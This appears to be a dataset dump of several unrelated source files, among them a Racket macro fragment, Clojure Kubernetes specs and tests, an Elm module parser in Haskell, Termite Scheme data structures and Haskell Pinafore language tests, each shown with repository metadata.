[others (append e0 ... null)])
(set! len-id (length others))
(append others ph)))))]
[(append . _)
(bad "append")]
[(box v)
(syntax (box undefined))]
[(box . _)
(bad "box")]
[(box-immutable v)
(with-syntax ([v (cons-elem #'v)])
(syntax/loc expr (box-immutable v)))]
[(vector e ...)
(with-syntax ([(e ...)
(map (lambda (x) (syntax undefined))
(syntax->list (syntax (e ...))))])
(syntax (vector e ...)))]
[(vector . _)
(bad "vector")]
[(vector-immutable e ...)
(with-syntax ([(e ...)
(map (lambda (x) (cons-elem x))
(syntax->list (syntax (e ...))))])
(syntax/loc expr (vector-immutable e ...)))]
[(vector-immutable . _)
(bad "vector-immutable")]
[(make-x . args)
(struct-decl-for (syntax make-x))
(let ([decl (struct-decl-for (syntax make-x))]
[args (syntax->list (syntax args))])
(unless args
(bad "structure constructor"))
(let ([expected (- (length (list-ref decl 4))
(length (car (list-ref decl 6))))])
(unless (= expected (length args))
(raise-syntax-error
'shared
(format "wrong argument count for structure constructor; expected ~a, found ~a"
expected (length args))
stx
expr)))
(with-syntax ([undefineds (map (lambda (x) (syntax undefined)) args)])
(syntax (make-x . undefineds))))]
[_else expr])))
exprs)]
[(init-expr ...)
(map (lambda (expr temp-id used?)
(let ([init-id
(syntax-case* expr (the-cons mcons list list* append box box-immutable vector vector-immutable) same-special-id?
[(the-cons . _) temp-id]
[(mcons . _) temp-id]
[(list . _) temp-id]
[(list* . _) temp-id]
[(append . _) temp-id]
[(box . _) temp-id]
[(box-immutable . _) temp-id]
[(vector . _) temp-id]
[(vector-immutable . _) temp-id]
[(make-x . _)
(syntax-case (syntax-disarm expr code-insp) ()
[(make-x . _)
(struct-decl-for (syntax make-x))])
temp-id]
[else #f])])
(cond
[init-id
(set-box! used? #t)
init-id]
[(unbox used?)
temp-id]
[else
expr])))
exprs temp-ids ph-used?s)]
[(finish-expr ...)
(let ([gen-n (lambda (l)
(let loop ([l l][n 0])
(if (null? l)
null
(cons (datum->syntax (quote-syntax here) n #f)
(loop (cdr l) (add1 n))))))]
[append-ids (reverse append-ids)])
(map (lambda (name expr)
(let loop ([name name] [expr expr])
(with-syntax ([name name])
(syntax-case* (disarm expr) (the-cons mcons list list* append box box-immutable vector vector-immutable)
same-special-id?
[(the-cons a d)
#`(begin #,(loop #`(car name) #'a)
#,(loop #`(cdr name) #'d))]
[(mcons a d)
(syntax (begin
(set-mcar! name a)
(set-mcdr! name d)))]
[(list e ...)
(let ([es (syntax->list #'(e ...))])
#`(begin
#,@(map (lambda (n e)
(loop #`(list-ref name #,n) e))
(gen-n es)
es)))]
[(list* e ...)
(let* ([es (syntax->list #'(e ...))]
[last-n (sub1 (length es))])
#`(begin
#,@(map (lambda (n e)
(loop #`(#,(if (= (syntax-e n) last-n)
#'list-tail
#'list-ref)
name
#,n)
e))
(gen-n es)
es)))]
[(append e0 ... e)
(with-syntax ([len-id (car append-ids)])
(set! append-ids (cdr append-ids))
(loop #`(list-tail name len-id) #'e))]
[(box v)
(syntax (set-box! name v))]
[(box-immutable v)
(loop #'(unbox name) #'v)]
[(vector e ...)
(with-syntax ([(n ...) (gen-n (syntax->list (syntax (e ...))))])
(syntax (let ([vec name])
(vector-set! vec n e)
...)))]
[(vector-immutable e ...)
(let ([es (syntax->list #'(e ...))])
#`(begin
#,@(map (lambda (n e)
(loop #`(vector-ref name #,n) e))
(gen-n es)
es)))]
[(make-x e ...)
(struct-decl-for (syntax make-x))
(let ([decl (struct-decl-for (syntax make-x))])
(syntax-case (remove-all (reverse (list-ref decl 4)) (cadr (list-ref decl 6))) ()
[()
(syntax (void))]
[(setter ...)
(syntax (begin (setter name e) ...))]))]
[_else (syntax (void))]))))
names exprs))]
[(check-expr ...)
(if make-check-cdr
(map (lambda (name expr)
(syntax-case* expr (the-cons) same-special-id?
[(the-cons a d)
(make-check-cdr name)]
[_else (syntax #t)]))
names exprs)
null)]
[(temp-id ...) temp-ids]
[(placeholder-id ...) placeholder-ids]
[(ph-used? ...) (map unbox ph-used?s)]
[(used-ph-id ...) (filter values
(map (lambda (ph ph-used?)
(and (unbox ph-used?)
ph))
placeholder-ids ph-used?s))]
[(maybe-ph-id ...) (map (lambda (ph ph-used?)
(and (unbox ph-used?)
ph))
placeholder-ids ph-used?s)])
(with-syntax ([(ph-init ...) (filter values
(map (lambda (ph ph-used? graph-expr)
(and (unbox ph-used?)
#`(placeholder-set! #,ph #,graph-expr)))
placeholder-ids ph-used?s
(syntax->list #'(graph-expr ...))))]
[(append-id ...) append-ids])
(syntax/loc stx
(letrec-values ([(used-ph-id) (make-placeholder #f)] ...
[(append-id) #f] ...
[(temp-id ...)
(begin
ph-init ...
(apply values (make-reader-graph
(list maybe-ph-id ...))))]
[(name) init-expr] ...)
finish-expr
...
check-expr
...
body1
body
...))))))])
|
f650ad6f68c86c78f151b0cdf04b0aad0a49d82b3dd83d05d097572899c92fe5 | exoscale/clojure-kubernetes-client | v1beta1_custom_resource_column_definition.clj | (ns clojure-kubernetes-client.specs.v1beta1-custom-resource-column-definition
(:require [clojure.spec.alpha :as s]
[spec-tools.data-spec :as ds]
)
(:import (java.io File)))
(declare v1beta1-custom-resource-column-definition-data v1beta1-custom-resource-column-definition)
(def v1beta1-custom-resource-column-definition-data
{
(ds/req :JSONPath) string?
(ds/opt :description) string?
(ds/opt :format) string?
(ds/req :name) string?
(ds/opt :priority) int?
(ds/req :type) string?
})
(def v1beta1-custom-resource-column-definition
(ds/spec
{:name ::v1beta1-custom-resource-column-definition
:spec v1beta1-custom-resource-column-definition-data}))
| null | https://raw.githubusercontent.com/exoscale/clojure-kubernetes-client/79d84417f28d048c5ac015c17e3926c73e6ac668/src/clojure_kubernetes_client/specs/v1beta1_custom_resource_column_definition.clj | clojure | (ns clojure-kubernetes-client.specs.v1beta1-custom-resource-column-definition
(:require [clojure.spec.alpha :as s]
[spec-tools.data-spec :as ds]
)
(:import (java.io File)))
(declare v1beta1-custom-resource-column-definition-data v1beta1-custom-resource-column-definition)
(def v1beta1-custom-resource-column-definition-data
{
(ds/req :JSONPath) string?
(ds/opt :description) string?
(ds/opt :format) string?
(ds/req :name) string?
(ds/opt :priority) int?
(ds/req :type) string?
})
(def v1beta1-custom-resource-column-definition
(ds/spec
{:name ::v1beta1-custom-resource-column-definition
:spec v1beta1-custom-resource-column-definition-data}))
| |
3cceba39f80b2a80472d4679cff58bdabb88619c13c751f38823878f1bb2aad3 | remixlabs/wasicaml | t040_exc2.ml | let g() =
raise Not_found
let f() =
try
g()
with Not_found -> "hello"
let () =
let x = f() in
Testprint.string "x" x
| null | https://raw.githubusercontent.com/remixlabs/wasicaml/74ff72535aa8e49ab94a05d9c32c059ce264c1bb/test/t040_exc2.ml | ocaml | let g() =
raise Not_found
let f() =
try
g()
with Not_found -> "hello"
let () =
let x = f() in
Testprint.string "x" x
| |
43fcd4cd35b6677e361f48f83fa59028a303c79cb9b8b388e762bd3daac837c8 | lachenmayer/arrowsmith | Module.hs | module Parse.Module (header, headerAndImports, getModuleName) where
import Control.Applicative ((<$>), (<*>))
import Text.Parsec hiding (newline, spaces)
import Parse.Helpers
import qualified AST.Module as Module
import qualified AST.Variable as Var
getModuleName :: String -> Maybe String
getModuleName source =
case iParse getModuleName source of
Right name -> Just name
Left _ -> Nothing
where
getModuleName =
do optional freshLine
(names, _) <- header
return (Module.nameToString names)
headerAndImports :: IParser Module.HeaderAndImports
headerAndImports =
do optional freshLine
(names, exports) <-
option (["Main"], Var.openListing) (header `followedBy` freshLine)
imports' <- imports
return $ Module.HeaderAndImports names exports imports'
header :: IParser ([String], Var.Listing Var.Value)
header =
do try (reserved "module")
whitespace
names <- dotSep1 capVar <?> "name of module"
whitespace
exports <- option Var.openListing (listing value)
whitespace <?> "reserved word 'where'"
reserved "where"
return (names, exports)
imports :: IParser [(Module.Name, Module.ImportMethod)]
imports =
many (import' `followedBy` freshLine)
import' :: IParser (Module.Name, Module.ImportMethod)
import' =
do try (reserved "import")
whitespace
names <- dotSep1 capVar
(,) names <$> method (Module.nameToString names)
where
method :: String -> IParser Module.ImportMethod
method defaultAlias =
Module.ImportMethod
<$> option (Just defaultAlias) (Just <$> as')
<*> option Var.closedListing exposing
as' :: IParser String
as' =
do try (whitespace >> reserved "as")
whitespace
capVar <?> "alias for module"
exposing :: IParser (Var.Listing Var.Value)
exposing =
do try (whitespace >> reserved "exposing")
whitespace
listing value
listing :: IParser a -> IParser (Var.Listing a)
listing item =
do try (whitespace >> char '(')
whitespace
listing <-
choice
[ const Var.openListing <$> string ".."
, Var.Listing <$> commaSep1 item <*> return False
] <?> "listing of values (x,y,z)"
whitespace
char ')'
return listing
value :: IParser Var.Value
value =
val <|> tipe
where
val =
Var.Value <$> (lowVar <|> parens symOp)
tipe =
do name <- capVar
maybeCtors <- optionMaybe (listing capVar)
case maybeCtors of
Nothing -> return (Var.Alias name)
Just ctors -> return (Var.Union name ctors)
| null | https://raw.githubusercontent.com/lachenmayer/arrowsmith/34b6bdeddddb2d8b9c6f41002e87ec65ce8a701a/elm-compiler/src/Parse/Module.hs | haskell | module Parse.Module (header, headerAndImports, getModuleName) where
import Control.Applicative ((<$>), (<*>))
import Text.Parsec hiding (newline, spaces)
import Parse.Helpers
import qualified AST.Module as Module
import qualified AST.Variable as Var
getModuleName :: String -> Maybe String
getModuleName source =
case iParse getModuleName source of
Right name -> Just name
Left _ -> Nothing
where
getModuleName =
do optional freshLine
(names, _) <- header
return (Module.nameToString names)
headerAndImports :: IParser Module.HeaderAndImports
headerAndImports =
do optional freshLine
(names, exports) <-
option (["Main"], Var.openListing) (header `followedBy` freshLine)
imports' <- imports
return $ Module.HeaderAndImports names exports imports'
header :: IParser ([String], Var.Listing Var.Value)
header =
do try (reserved "module")
whitespace
names <- dotSep1 capVar <?> "name of module"
whitespace
exports <- option Var.openListing (listing value)
whitespace <?> "reserved word 'where'"
reserved "where"
return (names, exports)
imports :: IParser [(Module.Name, Module.ImportMethod)]
imports =
many (import' `followedBy` freshLine)
import' :: IParser (Module.Name, Module.ImportMethod)
import' =
do try (reserved "import")
whitespace
names <- dotSep1 capVar
(,) names <$> method (Module.nameToString names)
where
method :: String -> IParser Module.ImportMethod
method defaultAlias =
Module.ImportMethod
<$> option (Just defaultAlias) (Just <$> as')
<*> option Var.closedListing exposing
as' :: IParser String
as' =
do try (whitespace >> reserved "as")
whitespace
capVar <?> "alias for module"
exposing :: IParser (Var.Listing Var.Value)
exposing =
do try (whitespace >> reserved "exposing")
whitespace
listing value
listing :: IParser a -> IParser (Var.Listing a)
listing item =
do try (whitespace >> char '(')
whitespace
listing <-
choice
[ const Var.openListing <$> string ".."
, Var.Listing <$> commaSep1 item <*> return False
] <?> "listing of values (x,y,z)"
whitespace
char ')'
return listing
value :: IParser Var.Value
value =
val <|> tipe
where
val =
Var.Value <$> (lowVar <|> parens symOp)
tipe =
do name <- capVar
maybeCtors <- optionMaybe (listing capVar)
case maybeCtors of
Nothing -> return (Var.Alias name)
Just ctors -> return (Var.Union name ctors)
| |
87e9e6a0c88e5b5de23da24658d990c1df6c00757d8448e37611d637afa7ea46 | mindpool/cs-termite | data.scm | ;;; Various mutable data structures implemented behind processes
;; (it would be "better" if those were implemented functionally)
(define (data-make-process-name type)
(string->symbol
(string-append
(symbol->string
(thread-name
(current-thread)))
"-"
(symbol->string type))))
;; ----------------------------------------------------------------------------
;; Cells
(define (make-cell #!rest content
#!key (name (data-make-process-name 'cell)))
(spawn
(lambda ()
(let loop ((content (if (pair? content)
(car content)
(void))))
(recv
((from tag 'empty?)
(! from (list tag (eq? (void) content)))
(loop content))
((from tag 'ref)
(! from (list tag content))
(loop content))
(('set! content)
(loop content)))))
name: name))
(define (cell-ref cell)
(!? cell 'ref))
(define (cell-set! cell value)
(! cell (list 'set! value)))
(define (cell-empty! cell)
(! cell (list 'set! (void))))
(define (cell-empty? cell)
(!? cell 'empty?))
;; or: (define-termite-type cell content)
;; ----------------------------------------------------------------------------
;; Dictionary
(define (make-dict #!key (name (data-make-process-name 'dictionary)))
(spawn
(lambda ()
(let ((table (make-table test: equal?
init: #f)))
(let loop ()
(recv
((from tag ('dict?))
(! from (list tag #t)))
((from tag ('dict-length))
(! from (list tag (table-length table))))
((from tag ('dict-ref key))
(! from (list tag (table-ref table key))))
(('dict-set! key)
(table-set! table key))
(('dict-set! key value)
(table-set! table key value))
((from tag ('dict-search proc))
(! from (list tag (table-search proc table))))
(('dict-for-each proc)
(table-for-each proc table))
((from tag ('dict->list))
(! from (list tag (table->list table))))
((msg
(warning (list ignored: msg)))))
(loop))))
name: name))
(define (dict? dict)
we only give a second to reply to this
(define (dict-length dict)
(!? dict (list 'dict-length)))
(define (dict-ref dict key)
(!? dict (list 'dict-ref key)))
(define (dict-set! dict . args)
(match args
((key)
(! dict (list 'dict-set! key)))
((key value)
(! dict (list 'dict-set! key value)))))
(define (dict-search proc dict)
(!? dict (list 'dict-search proc)))
(define (dict-for-each proc dict)
(! dict (list 'dict-for-each proc)))
(define (dict->list dict)
(!? dict (list 'dict->list)))
;; test...
;; (init)
;;
;; (define dict (make-dict))
;;
;; (print (dict->list dict))
( dict - set ! dict ' foo 123 )
( dict - set ! dict ' bar 42 )
;; (print (dict->list dict))
;; (print (dict-search (lambda (k v) (eq? k 'bar) v) dict))
;; (dict-for-each (lambda (k v) (print k)) dict)
;; (dict-set! dict 'foo)
;; (print (dict->list dict))
( ? 1 # t )
;; ----------------------------------------------------------------------------
;; Bag
(define (make-bag #!key (name (data-make-process-name 'bag)))
(spawn
(lambda ()
(let ((table (make-table test: equal?
init: #f)))
(let loop ()
(recv
((from tag ('bag?))
(! from (list tag #t)))
((from tag ('bag-length))
(! from (list tag (table-length table))))
(('bag-add! elt)
(table-set! table elt #t))
(('bag-remove! elt)
(table-set! table elt))
((from tag ('bag-member? elt))
(table-ref table elt))
((from tag ('bag-search proc))
(! from (list tag (table-search (lambda (k v) (proc k)) table))))
(('bag-for-each proc)
(table-for-each (lambda (k v) (proc k)) table))
((from tag ('bag->list))
(! from (list tag (map car (table->list table))))))
(loop))))
name: name))
(define (bag? bag)
we only give a second to reply to this
(define (bag-length bag)
(!? bag (list 'bag-length)))
(define (bag-add! bag elt)
(! bag (list 'bag-add! elt)))
(define (bag-remove! bag elt)
(! bag (list 'bag-remove! elt)))
(define (bag-member? bag elt)
(!? bag (list 'bag-member? elt)))
(define (bag-search proc bag)
(!? bag (list 'bag-search proc)))
(define (bag-for-each proc bag)
(! bag (list 'bag-for-each proc)))
(define (bag->list bag)
(!? bag (list 'bag->list)))
;; test...
;; (init)
;;
;; (define bag (make-bag))
;;
;; (print (bag->list bag))
;; (bag-add! bag 'foo)
;; (bag-add! bag 'bar)
;; (print (bag->list bag))
;; (print (bag-search (lambda (elt) (eq? elt 'bar) elt) bag))
;; (bag-for-each (lambda (elt) (print elt)) bag)
;; (bag-remove! bag 'foo)
;; (print (bag->list bag))
( ? 1 # t )
| null | https://raw.githubusercontent.com/mindpool/cs-termite/23df38627bfd4bd2257fb8d9f6c1812d2cd6bc04/data.scm | scheme | Various mutable data structures implemented behind processes
(it would be "better" if those were implemented functionally)
----------------------------------------------------------------------------
Cells
or: (define-termite-type cell content)
----------------------------------------------------------------------------
Dictionary
test...
(init)
(define dict (make-dict))
(print (dict->list dict))
(print (dict->list dict))
(print (dict-search (lambda (k v) (eq? k 'bar) v) dict))
(dict-for-each (lambda (k v) (print k)) dict)
(dict-set! dict 'foo)
(print (dict->list dict))
----------------------------------------------------------------------------
Bag
test...
(init)
(define bag (make-bag))
(print (bag->list bag))
(bag-add! bag 'foo)
(bag-add! bag 'bar)
(print (bag->list bag))
(print (bag-search (lambda (elt) (eq? elt 'bar) elt) bag))
(bag-for-each (lambda (elt) (print elt)) bag)
(bag-remove! bag 'foo)
(print (bag->list bag)) |
(define (data-make-process-name type)
(string->symbol
(string-append
(symbol->string
(thread-name
(current-thread)))
"-"
(symbol->string type))))
(define (make-cell #!rest content
#!key (name (data-make-process-name 'cell)))
(spawn
(lambda ()
(let loop ((content (if (pair? content)
(car content)
(void))))
(recv
((from tag 'empty?)
(! from (list tag (eq? (void) content)))
(loop content))
((from tag 'ref)
(! from (list tag content))
(loop content))
(('set! content)
(loop content)))))
name: name))
(define (cell-ref cell)
(!? cell 'ref))
(define (cell-set! cell value)
(! cell (list 'set! value)))
(define (cell-empty! cell)
(! cell (list 'set! (void))))
(define (cell-empty? cell)
(!? cell 'empty?))
(define (make-dict #!key (name (data-make-process-name 'dictionary)))
(spawn
(lambda ()
(let ((table (make-table test: equal?
init: #f)))
(let loop ()
(recv
((from tag ('dict?))
(! from (list tag #t)))
((from tag ('dict-length))
(! from (list tag (table-length table))))
((from tag ('dict-ref key))
(! from (list tag (table-ref table key))))
(('dict-set! key)
(table-set! table key))
(('dict-set! key value)
(table-set! table key value))
((from tag ('dict-search proc))
(! from (list tag (table-search proc table))))
(('dict-for-each proc)
(table-for-each proc table))
((from tag ('dict->list))
(! from (list tag (table->list table))))
((msg
(warning (list ignored: msg)))))
(loop))))
name: name))
(define (dict? dict)
we only give a second to reply to this
(define (dict-length dict)
(!? dict (list 'dict-length)))
(define (dict-ref dict key)
(!? dict (list 'dict-ref key)))
(define (dict-set! dict . args)
(match args
((key)
(! dict (list 'dict-set! key)))
((key value)
(! dict (list 'dict-set! key value)))))
(define (dict-search proc dict)
(!? dict (list 'dict-search proc)))
(define (dict-for-each proc dict)
(! dict (list 'dict-for-each proc)))
(define (dict->list dict)
(!? dict (list 'dict->list)))
( dict - set ! dict ' foo 123 )
( dict - set ! dict ' bar 42 )
( ? 1 # t )
(define (make-bag #!key (name (data-make-process-name 'bag)))
(spawn
(lambda ()
(let ((table (make-table test: equal?
init: #f)))
(let loop ()
(recv
((from tag ('bag?))
(! from (list tag #t)))
((from tag ('bag-length))
(! from (list tag (table-length table))))
(('bag-add! elt)
(table-set! table elt #t))
(('bag-remove! elt)
(table-set! table elt))
((from tag ('bag-member? elt))
(table-ref table elt))
((from tag ('bag-search proc))
(! from (list tag (table-search (lambda (k v) (proc k)) table))))
(('bag-for-each proc)
(table-for-each (lambda (k v) (proc k)) table))
((from tag ('bag->list))
(! from (list tag (map car (table->list table))))))
(loop))))
name: name))
(define (bag? bag)
we only give a second to reply to this
(define (bag-length bag)
(!? bag (list 'bag-length)))
(define (bag-add! bag elt)
(! bag (list 'bag-add! elt)))
(define (bag-remove! bag elt)
(! bag (list 'bag-remove! elt)))
(define (bag-member? bag elt)
(!? bag (list 'bag-member? elt)))
(define (bag-search proc bag)
(!? bag (list 'bag-search proc)))
(define (bag-for-each proc bag)
(! bag (list 'bag-for-each proc)))
(define (bag->list bag)
(!? bag (list 'bag->list)))
( ? 1 # t )
|
86b96b019231bd6dbfb736f05a89f7c92bbd17ee5b952dc00a4b6f71142e73e4 | janestreet/universe | re2_stable.mli | (** [Re2_stable] adds an incomplete but stable serialization of [Re2].
Feel free to extend it as necessary. *)
open! Core
(** This serialization only transmits the pattern, not the options. *)
module V1 : Stable_without_comparator with type t = Re2.t
| null | https://raw.githubusercontent.com/janestreet/universe/b6cb56fdae83f5d55f9c809f1c2a2b50ea213126/re2_stable/src/re2_stable.mli | ocaml | * [Re2_stable] adds an incomplete but stable serialization of [Re2].
Feel free to extend it as necessary.
* This serialization only transmits the pattern, not the options. |
open! Core
module V1 : Stable_without_comparator with type t = Re2.t
|
a8221f61d2961a59224f87ee44bbfaf507ce8696431837b3cbdfe30f11f51e5a | Workiva/eva | chunk_callback_outstream_test.clj | Copyright 2015 - 2019 Workiva Inc.
;;
;; Licensed under the Eclipse Public License 1.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; -1.0.php
;;
;; Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
(ns eva.v2.storage.chunk-callback-outstream-test
(:require [clojure.test :refer :all])
(:import (eva.storage ChunkCallbackOutputStream)))
(deftest test:ChunkCallbackOutputStream
(let [chunks (atom [])
closed? (atom false)]
(with-open [out (ChunkCallbackOutputStream. 10
(fn on-chunk [ba] (swap! chunks conj ba))
(fn on-close [] (swap! closed? not)))]
(doseq [i (range 95)]
(is (not @closed?))
(.write out (int i))))
(is (true? @closed?))
(is (= 10 (count @chunks)))))
| null | https://raw.githubusercontent.com/Workiva/eva/b7b8a6a5215cccb507a92aa67e0168dc777ffeac/core/test/eva/v2/storage/chunk_callback_outstream_test.clj | clojure |
Licensed under the Eclipse Public License 1.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-1.0.php
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. | Copyright 2015 - 2019 Workiva Inc.
distributed under the License is distributed on an " AS IS " BASIS ,
(ns eva.v2.storage.chunk-callback-outstream-test
(:require [clojure.test :refer :all])
(:import (eva.storage ChunkCallbackOutputStream)))
(deftest test:ChunkCallbackOutputStream
(let [chunks (atom [])
closed? (atom false)]
(with-open [out (ChunkCallbackOutputStream. 10
(fn on-chunk [ba] (swap! chunks conj ba))
(fn on-close [] (swap! closed? not)))]
(doseq [i (range 95)]
(is (not @closed?))
(.write out (int i))))
(is (true? @closed?))
(is (= 10 (count @chunks)))))
|
1410472ebea8975e696277a0e1d70fd198d54f0b70154c3ac660948c5a97b15b | irastypain/sicp-on-language-racket | exercise_2_44.rkt | #lang racket
Процедура разделяет painter надвое , добавляя сверху ,
; и выполняет рекурсивный вызов
(define (up-split painter n)
(if (= n 0)
painter
(let ((smaller (up-split painter (- n 1))))
(below painter (beside smaller smaller))))) | null | https://raw.githubusercontent.com/irastypain/sicp-on-language-racket/0052f91d3c2432a00e7e15310f416cb77eeb4c9c/src/chapter02/exercise_2_44.rkt | racket | и выполняет рекурсивный вызов | #lang racket
Процедура разделяет painter надвое , добавляя сверху ,
(define (up-split painter n)
(if (= n 0)
painter
(let ((smaller (up-split painter (- n 1))))
(below painter (beside smaller smaller))))) |
21708aee22e3b1dfb66c8a4b53f1b9031c1bdde4a28e63d07ee36be997e5191b | AshleyYakeley/Truth | Language.hs | {-# OPTIONS -fno-warn-orphans #-}
module Test.Language
( testLanguage
) where
import Data.Shim
import Pinafore
import Pinafore.Documentation
import Pinafore.Test
import Prelude (read)
import Shapes
import Shapes.Numeric
import Shapes.Test
testOp :: Name -> TestTree
testOp n =
testTree (show $ unpack n) $ do
case unpack n of
'(':_ -> assertFailure "parenthesis"
_ -> return ()
case operatorFixity n of
MkFixity AssocLeft 10 -> assertFailure "unassigned fixity"
_ -> return ()
testInfix :: TestTree
testInfix =
testTree "infix" $
fmap testOp $
allOperatorNames $ \case
ValueDocItem {} -> True
_ -> False
newtype PreciseEq t =
MkPreciseEq t
instance Show t => Show (PreciseEq t) where
show (MkPreciseEq a) = show a
instance Eq (PreciseEq Rational) where
(MkPreciseEq a) == (MkPreciseEq b) = a == b
instance Eq (PreciseEq Double) where
(MkPreciseEq a) == (MkPreciseEq b) = show a == show b
instance Eq (PreciseEq Number) where
(MkPreciseEq (ExactNumber a)) == (MkPreciseEq (ExactNumber b)) = MkPreciseEq a == MkPreciseEq b
(MkPreciseEq (InexactNumber a)) == (MkPreciseEq (InexactNumber b)) = MkPreciseEq a == MkPreciseEq b
_ == _ = False
instance Eq (PreciseEq t) => Eq (PreciseEq (Maybe t)) where
(MkPreciseEq Nothing) == (MkPreciseEq Nothing) = True
(MkPreciseEq (Just a)) == (MkPreciseEq (Just b)) = MkPreciseEq a == MkPreciseEq b
_ == _ = False
testCalc :: String -> Number -> Number -> TestTree
testCalc name expected found = testTree name $ assertEqual "" (MkPreciseEq expected) (MkPreciseEq found)
testNumbersArithemetic :: TestTree
testNumbersArithemetic =
testTree
"arithmetic"
[ testCalc "1/0" (InexactNumber $ 1 / 0) (1 / 0)
, testCalc "-1/0" (InexactNumber $ -1 / 0) (-1 / 0)
, testCalc "0/0" (InexactNumber $ 0 / 0) (0 / 0)
, testCalc "2+3" (ExactNumber $ 5) $ 2 + 3
, testCalc "2*3" (ExactNumber $ 6) $ 2 * 3
, testCalc "2-3" (ExactNumber $ -1) $ 2 - 3
, testCalc "2/3" (ExactNumber $ 2 % 3) $ 2 / 3
]
testShowRead ::
forall t. (Show t, Eq (PreciseEq t), Read t)
=> String
-> t
-> TestTree
testShowRead str t =
testTree
(show str)
[ testTree "show" $ assertEqual "" str $ show t
, testTree "read" $ assertEqual "" (MkPreciseEq t) $ MkPreciseEq $ read str
, testTree "read-show" $ assertEqual "" str $ show $ read @t str
]
testRead ::
forall t. (Show t, Eq (PreciseEq t), Read t)
=> String
-> Maybe t
-> TestTree
testRead str t = testTree (show str) $ assertEqual "" (MkPreciseEq t) $ MkPreciseEq $ readMaybe str
testNumbersShowRead :: TestTree
testNumbersShowRead =
testTree
"show,read"
[ testShowRead "0" $ ExactNumber 0
, testShowRead "1" $ ExactNumber 1
, testShowRead "-1" $ ExactNumber $ negate 1
, testShowRead "5/14" $ ExactNumber $ 5 / 14
, testShowRead "-8/11" $ ExactNumber $ -8 / 11
, testShowRead "NaN" $ InexactNumber $ 0 / 0
, testShowRead "~0.0" $ InexactNumber 0
, testShowRead "~1.0" $ InexactNumber 1
, testShowRead "~-1.0" $ InexactNumber $ negate 1
, testShowRead "~Infinity" $ InexactNumber $ 1 / 0
, testShowRead "~-Infinity" $ InexactNumber $ -1 / 0
, testRead "" $ Nothing @Number
, testRead " " $ Nothing @Number
, testRead " " $ Nothing @Number
, testRead "NaN" $ Just $ InexactNumber $ 0 / 0
, testRead "~Infinity" $ Just $ InexactNumber $ 1 / 0
, testRead "~-Infinity" $ Just $ InexactNumber $ -1 / 0
, testRead "z" $ Nothing @Number
, testRead "ZZ" $ Nothing @Number
, testRead "~1Z" $ Nothing @Number
, testRead "~-1.1Z" $ Nothing @Number
, testRead "0" $ Just $ ExactNumber 0
]
testNumbers :: TestTree
testNumbers = testTree "numbers" [testNumbersArithemetic, testNumbersShowRead]
data LangResult
= LRCheckFail
| LRRunError
| LRSuccess String
goodLangResult :: Bool -> LangResult -> LangResult
goodLangResult True lr = lr
goodLangResult False _ = LRCheckFail
testQuery :: Text -> LangResult -> TestTree
testQuery query expected =
testTree (show $ unpack query) $
runTester defaultTester $ do
result <-
tryExc $
testerLiftInterpreter $ do
v <- parseValue query
showPinaforeModel v
liftIO $
case result of
FailureResult e ->
case expected of
LRCheckFail -> return ()
_ -> assertFailure $ "check: expected success, found failure: " ++ show e
SuccessResult r -> do
me <- catchPureError r
case (expected, me) of
(LRCheckFail, _) -> assertFailure $ "check: expected failure, found success"
(LRRunError, Nothing) -> assertFailure $ "run: expected error, found success: " ++ r
(LRRunError, Just _) -> return ()
(LRSuccess _, Just e) -> assertFailure $ "run: expected success, found error: " ++ show e
(LRSuccess s, Nothing) -> assertEqual "result" s r
testSubsumeSubtype :: Bool -> Text -> Text -> [Text] -> [TestTree]
testSubsumeSubtype good t1 t2 vs =
[ testQuery ("let rec r = r end; x : " <> t1 <> " = r; y : " <> t2 <> " = x in ()") $
goodLangResult good $ LRSuccess "()"
] <>
fmap
(\v ->
testQuery ("let x : " <> t1 <> " = " <> v <> " in x : " <> t2) $ goodLangResult good $ LRSuccess $ unpack v)
vs <>
fmap
(\v ->
testQuery ("let x : " <> t1 <> " = " <> v <> "; y : " <> t2 <> " = x in y") $
goodLangResult good $ LRSuccess $ unpack v)
vs
testFunctionSubtype :: Bool -> Text -> Text -> [Text] -> [TestTree]
testFunctionSubtype good t1 t2 vs =
[ testQuery ("let f : (" <> t1 <> ") -> (" <> t2 <> ") = fn x => x in f") $ goodLangResult good $ LRSuccess "<?>"
, testQuery ("(fn x => x) : (" <> t1 <> ") -> (" <> t2 <> ")") $ goodLangResult good $ LRSuccess "<?>"
] <>
fmap
(\v ->
testQuery ("let f : (" <> t1 <> ") -> (" <> t2 <> ") = fn x => x in f " <> v) $
goodLangResult good $ LRSuccess $ unpack v)
vs
testSubtype1 :: Bool -> Bool -> Text -> Text -> [Text] -> [TestTree]
testSubtype1 good b t1 t2 vs =
testSubsumeSubtype good t1 t2 vs <>
if b
then testFunctionSubtype good t1 t2 vs
else []
testSubtype :: Bool -> Text -> Text -> [Text] -> TestTree
testSubtype b t1 t2 vs =
testTree (unpack $ t1 <> " <: " <> t2) $ testSubtype1 True b t1 t2 vs <> testSubtype1 False b t2 t1 vs
testSameType :: Bool -> Text -> Text -> [Text] -> TestTree
testSameType b t1 t2 vs =
testTree (unpack $ t1 <> " = " <> t2) $ testSubtype1 True b t1 t2 vs <> testSubtype1 True b t2 t1 vs
testQueries :: TestTree
testQueries =
testTree
"queries"
[ testTree "trivial" [testQuery "" $ LRCheckFail, testQuery "x" $ LRCheckFail]
, testTree
"comments"
[ testQuery "# comment\n1" $ LRSuccess "1"
, testQuery "1# comment\n" $ LRSuccess "1"
, testQuery "1 # comment\n" $ LRSuccess "1"
, testQuery "{# comment #} 1" $ LRSuccess "1"
, testQuery "{# comment #}\n1" $ LRSuccess "1"
, testQuery "{# comment\ncomment #}\n1" $ LRSuccess "1"
, testQuery "{# comment\ncomment\n#}\n1" $ LRSuccess "1"
, testQuery "{# A {# B #} C #} 1" $ LRSuccess "1"
, testQuery "{#\nA\n{#\nB\n#}\nC\n#}\n1" $ LRSuccess "1"
]
, testTree
"constants"
[ testTree
"numeric"
[ testQuery "0.5" $ LRSuccess "1/2"
, testQuery "0._3" $ LRSuccess "1/3"
, testQuery "-0._3" $ LRSuccess "-1/3"
, testQuery "-0.0_3" $ LRSuccess "-1/30"
